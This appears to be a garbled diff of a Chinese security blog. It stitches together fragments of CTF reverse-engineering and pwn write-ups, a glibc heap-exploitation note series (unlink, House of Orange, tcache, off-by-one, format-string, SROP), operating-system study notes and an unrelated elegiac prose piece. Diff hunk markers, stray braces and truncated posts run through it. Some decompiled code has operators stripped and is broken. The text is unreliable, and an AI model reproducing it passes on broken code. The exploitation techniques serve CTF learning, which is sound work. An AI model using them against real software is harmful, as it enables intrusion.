11
12
13
14
15
__int64 __fastcall main(int a1, char **a2, char **a3)
{
if ( a1 > 1 )
{
if ( !strcmp(a2[1], "zer0pts{********CENSORED********}") )
puts("Correct!");
else
puts("Wrong!");
}
else
{
printf("Usage: %s <FLAG>\n", *a2);
}
return 0LL;
}
@@ -78,7 +78,7 @@

    相差正好为66;因此结果也变得显然了:

    字符串大数相加的实现为:将大数做成多个字节,将每个字节与对应的字符串字符相加(指相同字节位对齐相加,多者溢出) ​

插图ID:90683044

-

2019红帽杯 - easyRE 分析与自省

文章发布时间:

最后更新时间:

+}

2019红帽杯 - easyRE 分析与自省

First Post:

Last Update:

    稍微……有那么一点离谱

    程序无壳,可以直接放入IDA,通过字符串找到如下函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
__int64 sub_4009C6()
{
__int64 result; // rax
int i; // [rsp+Ch] [rbp-114h]
__int64 v2; // [rsp+10h] [rbp-110h]
__int64 v3; // [rsp+18h] [rbp-108h]
__int64 v4; // [rsp+20h] [rbp-100h]
__int64 v5; // [rsp+28h] [rbp-F8h]
__int64 v6; // [rsp+30h] [rbp-F0h]
__int64 v7; // [rsp+38h] [rbp-E8h]
__int64 v8; // [rsp+40h] [rbp-E0h]
__int64 v9; // [rsp+48h] [rbp-D8h]
__int64 v10; // [rsp+50h] [rbp-D0h]
__int64 v11; // [rsp+58h] [rbp-C8h]
char v12[13]; // [rsp+60h] [rbp-C0h] BYREF
char v13[4]; // [rsp+6Dh] [rbp-B3h] BYREF
char v14[19]; // [rsp+71h] [rbp-AFh] BYREF
char v15[32]; // [rsp+90h] [rbp-90h] BYREF
int v16; // [rsp+B0h] [rbp-70h]
char v17; // [rsp+B4h] [rbp-6Ch]
char v18[72]; // [rsp+C0h] [rbp-60h] BYREF
unsigned __int64 v19; // [rsp+108h] [rbp-18h]

v19 = __readfsqword(0x28u);
qmemcpy(v12, "Iodl>Qnb(ocy", 12);
v12[12] = 127;
qmemcpy(v13, "y.i", 3);
v13[3] = 127;
qmemcpy(v14, "d`3w}wek9{iy=~yL@EC", sizeof(v14));
memset(v15, 0, sizeof(v15));
v16 = 0;
v17 = 0;
sub_4406E0(0LL, v15, 37LL);
v17 = 0;
if ( sub_424BA0(v15) == 36 )
{
for ( i = 0; i < (unsigned __int64)sub_424BA0(v15); ++i )
{
if ( (unsigned __int8)(v15[i] ^ i) != v12[i] )
{
result = 4294967294LL;
goto LABEL_13;
}
}
sub_410CC0("continue!");
memset(v18, 0, 0x40uLL);
v18[64] = 0;
sub_4406E0(0LL, v18, 64LL);
v18[39] = 0;
if ( sub_424BA0(v18) == 39 )
{
v2 = sub_400E44(v18);
v3 = sub_400E44(v2);
v4 = sub_400E44(v3);
v5 = sub_400E44(v4);
v6 = sub_400E44(v5);
v7 = sub_400E44(v6);
v8 = sub_400E44(v7);
v9 = sub_400E44(v8);
v10 = sub_400E44(v9);
v11 = sub_400E44(v10);
if ( !(unsigned int)sub_400360(v11, off_6CC090) )
{
sub_410CC0("You found me!!!");
sub_410CC0("bye bye~");
}
result = 0LL;
}
else
{
result = 4294967293LL;
}
}
else
{
result = 0xFFFFFFFFLL;
}
LABEL_13:
if ( __readfsqword(0x28u) != v19 )
sub_444020();
return result;
}
@@ -79,7 +79,7 @@

    从此得到flag

    这次我该吸取的教训是:不要因为事情看起来复杂就认为考点不在这里 ​

插画ID : 90097136

-

2019红帽杯 - childRE 分析与拓展

文章发布时间:

最后更新时间:

+}

2019红帽杯 - childRE 分析与拓展

First Post:

Last Update:

        十分特殊也有趣的一题,特此记录。流程并非难以理解,但有些需要注意的点。

        无壳,可以直接用IDA分析,但由于存在一些动态变量,一旦开始动调,代码将会变得更难理解,因此目前只用静态调试来审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v4; // rax
const CHAR *v5; // r11
__int64 v6; // r10
int v7; // er9
const CHAR *v8; // r10
__int64 v9; // rcx
__int64 v10; // rax
int result; // eax
unsigned int v12; // ecx
__int64 v13; // r9
__int128 v14[2]; // [rsp+20h] [rbp-38h] BYREF

v14[0] = 0i64;
v14[1] = 0i64;
sub_140001080("%s");
v3 = -1i64;
do
++v3;
while ( *((_BYTE *)v14 + v3) );
if ( v3 != 31 )
{
while ( 1 )
Sleep(0x3E8u);
}
v4 = sub_140001280(v14);
v5 = name;
if ( v4 )
{
sub_1400015C0(*(_QWORD *)(v4 + 8));
sub_1400015C0(*(_QWORD *)(v6 + 16));
v7 = dword_1400057E0;
v5[dword_1400057E0] = *v8;
dword_1400057E0 = v7 + 1;
}
UnDecorateSymbolName(v5, outputString, 0x100u, 0);
v9 = -1i64;
do
++v9;
while ( outputString[v9] );
if ( v9 == 62 )
{
v12 = 0;
v13 = 0i64;
do
{
if ( a1234567890Qwer[outputString[v13] % 23] != *(_BYTE *)(v13 + 0x140003478i64) )
_exit(v12);
if ( a1234567890Qwer[outputString[v13] / 23] != *(_BYTE *)(v13 + 0x140003438i64) )
_exit(v12 * v12);
++v12;
++v13;
}
while ( v12 < 0x3E );
sub_140001020("flag{MD5(your input)}\n");
result = 0;
}
else
{
v10 = sub_1400018A0(std::cout);
std::ostream::operator<<(v10, sub_140001A60);
result = -1;
}
return result;
}
@@ -76,7 +76,7 @@

         个人觉得这要比我手绘二叉树来得简单得多,供参考吧 ​

插画ID:90581839

-

BUUCTF - 网鼎杯 2020 青龙组 - jocker 分析与记录

文章发布时间:

最后更新时间:

+}

BUUCTF - 网鼎杯 2020 青龙组 - jocker 分析与记录

First Post:

Last Update:

         无壳,IDA打开可以直接进入main函数:

        第12行调用VirtualProtect函数更改了offset encrypt处的访问保护权限

@@ -89,7 +89,7 @@

        我也试着将这个提交成功的flag输入进去,但它仍然不会输出成功的标识,可能是出题人的一点“恶意”吧……最后要靠猜测来得到结果,说实在的,有点难以释然,总觉得是不是自己看漏了什么重要内容…… ​

插画ID:90713460

-

Chaconne

文章发布时间:

最后更新时间:

她走了,走的毫无征兆。又或许,我早就知道会有这么一天了,只是我们谁都没料到,这一天会来的这么早。一切都如往常一样,青藤仍旧攀进窗沿,昙花今天也未盛开,只有她不在了。

+}

Chaconne

First Post:

Last Update:

她走了,走的毫无征兆。又或许,我早就知道会有这么一天了,只是我们谁都没料到,这一天会来的这么早。一切都如往常一样,青藤仍旧攀进窗沿,昙花今天也未盛开,只有她不在了。

我知道她的绝望,也知道她的无助,但即便如此,我也仍然无能为力,又或许,是我仍然无动于衷。我甚至能够直视她所有的痛苦,亦能够如我所见的那样存活,但我就像毫无选择的孩童那样,只能看着她沉沦,就同过去的我一样。这无疑是傲慢而又无耻的,因为我本以为一切都会如我所希望的那样发展,哪怕这就像是趁人之危。可我却一败涂地,一切都没能如愿,她仍旧离开了,再也回不来了。迟早有一天,我会忘掉这一切,忘掉所有该被珍视的记忆,也忘掉所有被我珍藏的宝物;健忘的人从来没有珍视的过往,所有的过去都同脊岩那样风化,沦为我脚下的齑粉,褪去原本的颜色,最后被我当作垃圾舍弃。但似乎一切又都如她所期望的那样,我将不再记得有关她的任何事。我似乎不会再痛苦了,却也因此忘记了自己为何心有不甘,那久久盘旋的苦涩又为何物。那我该作何反应呢?理智几乎麻痹了神经,哪怕我本就忧郁而悲伤,却也不会再添加任何杂质;却又似催促一样,告诉她我毫不介意。

我……我没能救她。哪怕我从来不将活着视为一种救赎,却也不会把那缺乏美感的死亡当作拯救。而即便如此,我也希望她能活下来,哪怕她已经和那时候的她大相径庭,正如我当时的苟且。我本期望她能得救的,正如我期望她能秉持她一如既往的正确一样。但她却被自己的正确压垮了,被所有错误和凶恶迫害了。我读过她的诉状,我听过她的控诉,用我卑鄙而肮脏的话术骗取了她的信任,让她能够向我倾诉。她曾问我是谁,“稻草人”,我是这样回答她的,正如草人那样的虚妄之物,我不过是个伪物,是麦田里装作人类的赝品罢了。她也曾问我出于何种目的对她如此友善,可答案就连我自己都不知道。或许是为了满足我那散发恶臭的伪善,又或许是为了见证戏剧性的颠转,也可能只是因为常年的孤独有了同伴,又或是……可它们无疑都是真实的,哪怕它们的宿主是虚伪的稻草人。这些混乱的自我杂揉在一起,本该明朗的目的也变得混浊,变成口中断断续续的措辞和闪躲的话语。

那么事到如今,我又在做什么?我像是在纪念她,装作为她的离去而痛哭流涕的样子。这是她一生都未曾见过的模样,是目前的我所能够展现出的最为脆弱、也最为痛苦的模样。我一反常态地不再维持理性地外貌,仍由另外一个自己在她的坟前发疯般地恸哭,任凭泪水浸湿稻草,苦涩与麻木的回甘翻涌于胃袋。时隔一年,我变回了那个无知而又懦弱的自己,不再装作无所不知,也不再装出一幅谦虚的皮囊,被过去的傲慢和偏激寻回,也拾回了偏见和歧视。我喝得烂醉,倒在街角的灌木丛背后,说着那些她最不愿意听到的,盛满卑劣的话语。我又开始对那些不了解的政见评头论足,再一次为了地上的五角钱和乞丐大打出手,邋遢而满脸胡茬,又一次成了她最无法想象的那种人。

@@ -25,7 +25,7 @@

我只能看着她被压垮,就像过去的我那样。可她死在了无垠的荒原上,那里既没有麦田也没有极光。稻草人今天守在她的墓旁,稻草人明天守在她的墓旁,只是总有一天,稻草人会忘记这些往事。他会离开这片荒原,再一次与乌鸦作伴,用他最擅长的骗术把这些往事掩盖,藏到极地的冰窟里,埋在昏黑的极夜里。直到极光来的时候,一如我没能救她,我也走失在那片荒原,我也坠向深空,我也……

毫无征兆的,稻草人烧起来了;如约而至般,我……没能救她。

插画ID : 90581793

-

第五空间2019 决赛 - PWN5笔记与借鉴

文章发布时间:

最后更新时间:

逻辑是简单的:

+}

第五空间2019 决赛 - PWN5笔记与借鉴

First Post:

Last Update:

逻辑是简单的:

系统生成一个随机数,并让用户分别输入用户名与密码,当密码与随机数相同时成功。

大佬给出的思路:

思路1:直接利用格式化字符串改写unk_804C044之中的数据,然后输入数据对比得到shell

@@ -35,7 +35,7 @@

第二个参数则是原值与替换值的字典形式

还有第三第四参数,但并不常用,暂时不记录

插画ID:90640803

-

GKCTF 2021 - checkin调试与分析

文章发布时间:

最后更新时间:

+}

GKCTF 2021 - checkin调试与分析

First Post:

Last Update:

        目前笔者刚刚开始入门PWN,算是通过这题涨了点见识吧

主要函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int sub_4018C7()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Please Sign-in");
putchar(62);
read(0, s1, 0x20uLL);
puts("Please input u Pass");
putchar(62);
read(0, buf, 0x28uLL);
if ( strncmp(s1, "admin", 5uLL) sub_401974(buf) )
{
puts("Oh no");
exit(0);
}
puts("Sign-in Success");
return puts("BaileGeBai");
}
@@ -67,7 +67,7 @@

[原创]pwn中one_gadget的使用技巧 :https://bbs.pediy.com/thread-261112.htm

gdb的基本命令:https://blog.csdn.net/qq_26399665/article/details/81165684

插画ID:90726137

-

关于如何理解Glibc堆管理器(Ⅰ——堆结构)

文章发布时间:

最后更新时间:

+}

关于如何理解Glibc堆管理器(Ⅰ——堆结构)

First Post:

Last Update:

 本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。

若有图片及文稿引用,将在本篇结尾处著名来源。

首先从 什么是堆 开始讲起吧。

        在操作系统加载一个应用程序的时候,会为程序创建一个独立的进程,这个进程拥有着一套独立的内存结构。大致结构如下图:

@@ -67,7 +67,7 @@

https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/

插画ID:72077484

-

关于如何理解Glibc堆管理器(Ⅹ——完结、补充、注释——Arena、heap_info、malloc_*)

文章发布时间:

最后更新时间:

+}

关于如何理解Glibc堆管理器(Ⅹ——完结、补充、注释——Arena、heap_info、malloc_*)

First Post:

Last Update:

本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。

若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。

        截至到本节内容,该系列算是正式完结了,后续或许会有补充,但基本上都将添加在本节内容中。在前几节中,笔者已经按照自己的思路尽可能详尽的将Glibc的堆管理器Ptmalloc2的方式做了一定的介绍,尽管Ptmalloc2的内容肯定不止这些,但已能大致了解其工作方式了

@@ -98,7 +98,7 @@

Ar

        当然,实际调试中会发现,我们开辟的chunk总是在Arena下方(往高地址处),我们也可以将其理解为每个线程自己的一个“主堆”,这样就能避开那些“可以不使用堆锁的情况”

插画ID:91629597

-

关于如何理解Glibc堆管理器(Ⅱ——Free与Bins)

文章发布时间:

最后更新时间:

+}

关于如何理解Glibc堆管理器(Ⅱ——Free与Bins)

First Post:

Last Update:

本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。

若有图片及文稿引用,将在本篇结尾处著名来源。

Free与Bins:

        malloc如果一旦和free混用,情况就变得复杂了。我们可以先思考一下下面的问题:

@@ -91,7 +91,7 @@

https://nightrainy.github.io/2019/05/06/glic%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#bins

https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/

插画ID:90945914

-

关于如何理解Glibc堆管理器(Ⅲ——从DoubleFree深入理解Bins)

文章发布时间:

最后更新时间:

+}

关于如何理解Glibc堆管理器(Ⅲ——从DoubleFree深入理解Bins)

First Post:

Last Update:

 本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。

若有图片及文稿引用,将在本篇结尾处著名来源。

环境与工具:

        Ubuntu16.4 / gcc / (gdb)pwn-dbg

@@ -104,7 +104,7 @@

        这个实际结果与上一章所述相同。在第12行代码中,堆管理器检查Small Bins发现可用,分割该chunk分配给 p5,并将该chunk取出Bins。

引用:

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/implementation/free/#_3

插画ID:90981187

-

关于如何理解Glibc堆管理器(Ⅳ——从Unlink攻击理解指针与chunk寻址方式)

文章发布时间:

最后更新时间:

+}

关于如何理解Glibc堆管理器(Ⅳ——从Unlink攻击理解指针与chunk寻址方式)

First Post:

Last Update:

 本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。

若有图片及文稿引用,将在本篇结尾处著名来源。

参考文章:

        在此先给出几篇可供参考的文章。笔者认为几位师傅所写的都比笔者所写要来得更加精炼。倘若您通过如下几篇文章已经能够完全理解Unlink为何,那么大可以不再阅读这篇冗长的文章。

@@ -128,7 +128,7 @@

关于如何理解Glibc堆管理器(Ⅴ——从Large Bin Attack理解malloc对Bins的分配)

文章发布时间:

最后更新时间:

+}

关于如何理解Glibc堆管理器(Ⅴ——从Large Bin Attack理解malloc对Bins的分配)

First Post:

Last Update:

本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。

若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。

参考文章:

        同样先引用如下两篇文章。如果读者能够通过如下三篇文章掌握Large Bin Attack,那么本篇便只是附带品,没有什么其他内容

@@ -163,7 +163,7 @@

关于如何理解Glibc堆管理器(Ⅵ——从House of Orange理解Heap是如何被拓展的)

文章发布时间:

最后更新时间:

+}

关于如何理解Glibc堆管理器(Ⅵ——从House of Orange理解Heap是如何被拓展的)

First Post:

Last Update:

本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。

若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。

参考文章:

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange/

@@ -66,7 +66,7 @@

        至于原本的Top chunk,如果读者细看了它的size变化,应该会发现少了0x20字节,其实只是被prev_size、size、fd、bk指针占用了而已

        感觉这东西似乎没什么可说的,以至于笔者有点不知道该如何描述才能将这种思路表达清楚,还望见谅 ​

插画ID:91095963

-

关于如何理解Glibc堆管理器(Ⅶ——Tcache Bins!!)

文章发布时间:

最后更新时间:

+}

关于如何理解Glibc堆管理器(Ⅶ——Tcache Bins!!)

First Post:

Last Update:

本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。

若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。

        笔者本该将这一节的内容与第二节合并的,因为Tcache的并入并没有带来非常多的内容。但从结构上考虑,笔者一直以来都在使用glibc-2.23进行说明,在该版本下尚且没有引入Tcache Bins,因此这一节的内容一直拖欠到今。直到glibc-2.27开始,官方才引入了Tcache Bins结构,因此本节内容也将在该版本下进行说明(不过Ubuntu18确实用着比Ubuntu16来得舒服……)

@@ -132,7 +132,7 @@

        然后调用calloc函数,触发机制,将chunk0分配给用户,chunk1与chunk1->bk(即fake_chunk)被放入Tcache Bin中,且向fake_chunk->fd写入bin

        然后用户再次请求一个同样大小的chunk时,由于Tcache Bin遵守LIFO(先进后出),因此将返回fake_chunk地址 ​

插画ID:91536470

-

关于如何理解Glibc堆管理器(Ⅷ——从源代码理解malloc)

文章发布时间:

最后更新时间:

+}

关于如何理解Glibc堆管理器(Ⅷ——从源代码理解malloc)

First Post:

Last Update:

 本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。

若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。

        关于glibc堆管理器Ptmalloc2的实际讨论在前几节已经大致结束了,但是笔者仍觉得对其分配机制缺少完整的认识,于是最后两节将直接通过源代码来对其分配和释放规则进行分析

@@ -143,7 +143,7 @@

参考文章:

https://www.zzl14.xyz/2020/04/13/malloc%E6%B5%81%E7%A8%8B/#int-malloc

这位师傅用2.27的源代码也进行了详尽的说明,也比较推荐参考其博客 ​

插画ID:91612724

-

关于如何理解Glibc堆管理器(Ⅸ——从源代码理解free)

文章发布时间:

最后更新时间:

+}

关于如何理解Glibc堆管理器(Ⅸ——从源代码理解free)

First Post:

Last Update:

 本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。

若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。

        为了文章的可读性,笔者将使用“块引用”来表示分支情况,在没有特别标注的情况下(没有说明引用来源时),其中内容均为笔者所写

@@ -85,7 +85,7 @@

FastBinAttack实战 - babyheap_0ctf_2017

文章发布时间:

最后更新时间:

+}

FastBinAttack实战 - babyheap_0ctf_2017

First Post:

Last Update:

分析利用:

        无壳,IDA打开后可以看出题目是基本的增删与展示(函数名为方便阅读而修改)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v4; // [rsp+8h] [rbp-8h]

v4 = initMmapList();
while ( 1 )
{
Menu();
switch ( getInput() )
{
case 1LL:
Allocate(v4);
break;
case 2LL:
Fill(v4);
break;
case 3LL:
Free(v4);
break;
case 4LL:
Dump((__int64)v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}
@@ -93,7 +93,7 @@

插画ID:91746115

-

SECCON CTF 2016 Quals - Chat 分析与思考

文章发布时间:

最后更新时间:

+}

SECCON CTF 2016 Quals - Chat 分析与思考

First Post:

Last Update:

         CTFSHOW吃瓜杯,PWN方向第三题竟是SECCON原题,于是当时没有仔细研究,直接套用了其他大佬的EXP(第二第三第四题都是各大比赛的原题,网上可以直接找到写好的EXP……)

        既然现在比赛结束了,正好来补一下WP。收获很大,说明我还非常菜…..

正文:

函数:

        Main:

@@ -122,7 +122,7 @@

360chunqiu2017_smallest —— 从例题理解SROP

文章发布时间:

最后更新时间:

+}

360chunqiu2017_smallest —— 从例题理解SROP

First Post:

Last Update:

前言:

        本篇博客为个人学习过程中的理解,仅记录个人理解,WIKI写的要比本篇详细得多。若与其存在矛盾,请以WIKI为准,也感谢读者指出问题。

正文:

        SROP(Sigreturn Oriented Programming),与常规ROP的区别在于通过sigreturn函数来进行返回而不是retn指令

这里引用WIKI中对Signal机制的介绍:     

@@ -74,7 +74,7 @@

https://www.jianshu.com/p/09b4aed52e0d

https://www.jianshu.com/p/74aa44767a4b

插画ID:91506229

-

pwnable - 3x17 分析与思考

文章发布时间:

最后更新时间:

+}

pwnable - 3x17 分析与思考

First Post:

Last Update:

         有点炫酷的利用方式,不得不承认,确实让我长见识了。

正文:

1
2
3
4
5
6
7
8
9
10
11
12
void __fastcall __noreturn start(__int64 a1, __int64 a2, int a3)
{
__int64 v3; // rax
int v4; // esi
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
void *retaddr; // [rsp+0h] [rbp+0h] BYREF

v4 = v5;
v5 = v3;
sub_401EB0(sub_401B6D, v4, &retaddr, sub_4028D0, sub_402960, a3, &v5);
__halt();
}
@@ -79,7 +79,7 @@

https://xuanxuanblingbling.github.io/ctf/pwn/2019/09/06/317/

https://blog.csdn.net/gary_ygl/article/details/8506007

插画ID:91513024

-

BUUCTF - inndy_rop 杂谈、32位与64位系统调用、与思考

文章发布时间:

最后更新时间:

+}

BUUCTF - inndy_rop 杂谈、32位与64位系统调用、与思考

First Post:

Last Update:

         总之先从题目开始看吧,是一道非常简单但却让我长见识的题……

1
2
3
4
5
6
int overflow()
{
char v1[12]; // [esp+Ch] [ebp-Ch] BYREF

return gets(v1);
}
@@ -43,7 +43,7 @@

        实际上就是把原本的指令字节分割一下,然后单独取出能被当作syscall的字节

        嘛……这么来看还怪没有意义的…… ​

插画IDA:92121278

-

Asis CTF 2016 - b00ks —— Off-By-One利用与思考

文章发布时间:

最后更新时间:

+}

Asis CTF 2016 - b00ks —— Off-By-One利用与思考

First Post:

Last Update:

前言:

      这道题做得有点痛苦……因为本地通常都很难和服务器有相同的环境,使用mmap开辟空间造成的偏移会因此而变得麻烦,并且free_hook周围很难伪造chunk,一度陷入恐慌……

        不过本来应该很早就开始Off-By-One的学习的,竟然现在才注意到……惭愧

正文:

        book结构:

@@ -112,7 +112,7 @@

参考文章:

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/off-by-one/#_1

https://www.cnblogs.com/bhxdn/p/14293978.html

插画ID:91452046

-

plaidctf2015 - ebp —— FMT记录

文章发布时间:

最后更新时间:

        本来是在看OFF-BY-ONE的,WIKI里将这个比赛的某题作为范例,但BUU只有“ebp”这题,于是顺手做了一下。然后才发现自己似乎一直以来有些太过依赖fmtstr_payload这种操作了,真到了需要自己一步步手动调试和操作的时候才发现,自己根本就不会构造payload……

+}

plaidctf2015 - ebp —— FMT记录

First Post:

Last Update:

        本来是在看OFF-BY-ONE的,WIKI里将这个比赛的某题作为范例,但BUU只有“ebp”这题,于是顺手做了一下。然后才发现自己似乎一直以来有些太过依赖fmtstr_payload这种操作了,真到了需要自己一步步手动调试和操作的时候才发现,自己根本就不会构造payload……

    具体的笔记等以后详细的学完了fmt再补吧,现在先记录一下这件事,并且补一个记录

“%?$p”

@@ -30,7 +30,7 @@

https://www.cnblogs.com/wangaohui/p/4455048.html

http://shell-storm.org/shellcode/files/shellcode-236.php

https://www.zybuluo.com/pnck/note/91523

-

一个汇编代码小实验

文章发布时间:

最后更新时间:

这几天闲着没事,突然想起自己已经把汇编忘得差不多了,于是重新拿起汇编做了个小实验

+}

一个汇编代码小实验

First Post:

Last Update:

这几天闲着没事,突然想起自己已经把汇编忘得差不多了,于是重新拿起汇编做了个小实验

测试代码:

1
2
3
4
5
6
7
push offset Counter
mov eax,esp
mov eax,[eax]
push $+6
jmp eax
leave
INVOKE ExitProcess,0
@@ -27,7 +27,7 @@

不过x32dbg会在滚动之后又将汇编代码识别回 leave 且看上去真的执行了,只是观察寄存器后发现并没有执行leave,因此姑且认为,还是以IDA动调分析的汇编代码为准较好

另外补充一句:译码器在遇到不认识的机器码时,会直接崩溃,这一点经过笔者尝试得到了验证

插画ID:91687652

-

Kernel Pwn环境搭建 可能遇到的问题

文章发布时间:

最后更新时间:

环境:Ubuntu18.04 / busybox-1.33.1 / linux-5.15.6

+}

Kernel Pwn环境搭建 可能遇到的问题

First Post:

Last Update:

环境:Ubuntu18.04 / busybox-1.33.1 / linux-5.15.6

busybox无法编译

有人推荐使用ARM工具链,大概率是可行的,但也有给出对应的补丁以修复编译报错-https://bugs.gentoo.org/708350

内核编译错误: .config 中下述该行注释掉即可

@@ -27,7 +27,7 @@

https://n0va-scy.github.io/2020/06/21/kernel%20pwn%20%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/

另:笔者试图在Ubuntu20上搭建相同环境,发现无论如何似乎都会出现意外情况,而在18下则没有类似状况发生,暂且搁置具体解决方案

插画ID:67986353

-

SCTF2021——gadget报告

文章发布时间:

最后更新时间:

关键点总结:

+}

SCTF2021——gadget报告

First Post:

Last Update:

关键点总结:

1.架构切换(retf与retfq与ret)

2.侧信道攻击

首先应该认识到:

@@ -50,7 +50,7 @@

Mark:http://liupzmin.com/2021/06/27/theory/stack-insight-01-md/

对我来说算是个冷知识:https://stackoverflow.com/questions/63975447/why-virtual-address-are-48-bits-not-64-bits

插画ID : 93869785

-

《操作系统真象还原》chapter1-5笔记与总结

文章发布时间:

最后更新时间:


+}

《操作系统真象还原》chapter1-5笔记与总结

First Post:

Last Update:


引题:操作系统是如何被启动的?

主板接电以后,内嵌在主板上的ROM中的BIOS会将 0盘0道1扇区 中的MBR(Main Boot Record)读取到内存中一个固定的位置,然后自动跳转到该位置(0x7c00),之后由MBR取代BIOS接管系统。此时,系统处于“实模式”,此时只能使用寄存器的低16位。

但MBR最大只能有一个扇区(512字节),可做的事情极其有限,因此MBR只从硬盘读取Loader到内存(读取位置也是约定好的),同时再跳转到Loader,由其取代MBR接管系统。

(至于读到哪里,实际上无所谓,只要最开始做好约定,让其能够跳转达到即可)

@@ -146,7 +146,7 @@

FS寄存器 和 段寄存器线索

文章发布时间:

最后更新时间:

问题始于一个简单的场景:“canary绕过”,一下子唤起我多年的问题,FS寄存器究竟是什么,在哪里?

+}

FS寄存器 和 段寄存器线索

First Post:

Last Update:

问题始于一个简单的场景:“canary绕过”,一下子唤起我多年的问题,FS寄存器究竟是什么,在哪里?

如下是段寄存器的结构示意图:

可以注意到,一个64位的段寄存器分为两个部分,Hidden Part部分包括了我们一般会用到的Base Address。常说的“用户无法访问FS寄存器”应该改为”用户无法直接访问FS寄存器”便不会引起误会了。

@@ -79,7 +79,7 @@

https://github.com/pwndbg/pwndbg/blob/89b2df582a323b98c04c5d35e3323ad291514f63/pwndbg/regs.py#L268

A possible end to the FSGSBASE saga [LWN.net]

插画ID:93763504

-

《操作系统真象还原》chapter7笔记与总结

文章发布时间:

最后更新时间:

PART 1

    首先,计算机的中断根据其来源可分为内部外部。外部中断常常是由外部设备发起,或是计算机遇到了某些遭难性错误而发生,相对于内部中断的发生频率来说要小些。因此也仅做了解。

+}

《操作系统真象还原》chapter7笔记与总结

First Post:

Last Update:

PART 1

    首先,计算机的中断根据其来源可分为内部外部。外部中断常常是由外部设备发起,或是计算机遇到了某些遭难性错误而发生,相对于内部中断的发生频率来说要小些。因此也仅做了解。

    而内部中断则要更加常见,根据其发出中断来源分为软中断异常。软中断是由软件主动或被动发起的,一般是 “INT” 族的指令主动调用的。这类指令均已在处理器中编码,并通过数据线连接到芯片上。即实际向处理器发出中断的是8259A芯片组。8259A芯片的几个IRQ接口(Interrupt ReQuest:中断请求接口)已经预先和其他的可能发出中断的设备连接好了,对应关系如下(但这些IRQ并不是所有引脚,8259A每个芯片似乎有28个引脚)。

    如IRQ0的时钟中断会在处理器加电以后自动且定期地向8259A芯片发出中断(定期:根据8253计数器的设定频率发生)。

@@ -76,7 +76,7 @@

PART 3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* 把操作的计数器counter_no、读写锁属性rwl、计数器模式counter_mode写入模式控制寄存器并赋予初始值counter_value */
static void frequency_set(uint8_t counter_port, \
uint8_t counter_no, \
uint8_t rwl, \
uint8_t counter_mode, \
uint16_t counter_value) {
/* 往控制字寄存器端口0x43中写入控制字 */
outb(PIT_CONTROL_PORT, (uint8_t)(counter_no << 6 rwl << 4 counter_mode << 1));
/* 先写入counter_value的低8位 */
outb(counter_port, (uint8_t)counter_value);
/* 再写入counter_value的高8位 */
outb(counter_port, (uint8_t)counter_value >> 8);
}

/* 初始化PIT8253 */
void timer_init() {
put_str("timer_init start\n");
/* 设置8253的定时周期,也就是发中断的周期 */
frequency_set(CONTRER0_PORT, COUNTER0_NO, READ_WRITE_LATCH, COUNTER_MODE, COUNTER0_VALUE);
put_str("timer_init done\n");
}

插画ID:93758526

-

《操作系统真象还原》chapter8 笔记与警醒

文章发布时间:

最后更新时间:


+}

《操作系统真象还原》chapter8 笔记与警醒

First Post:

Last Update:


    读这章遇到的最大的问题就是:“我意会错了这一章想给我讲什么”,以至于整章读完十分困惑,一开始的问题没能解决以至于错过了很多东西,最终效果不是很好……

    现在来重新梳理一下本章的内容究竟是在讲什么,解决什么问题。


@@ -63,7 +63,7 @@

PART 3琐碎:

    可能是因为这几天状态很糟糕,每天都处于严重的睡眠不足的情况导致的(春节期间的麻烦太多了),脑子在看书的时候很难集中注意力,以至于会意错了作者的意图……

插画ID:77309888

-

《操作系统真象还原》chapter10 笔记与思考

文章发布时间:

最后更新时间:


+}

《操作系统真象还原》chapter9 笔记与注意

文章发布时间:

最后更新时间:


+}

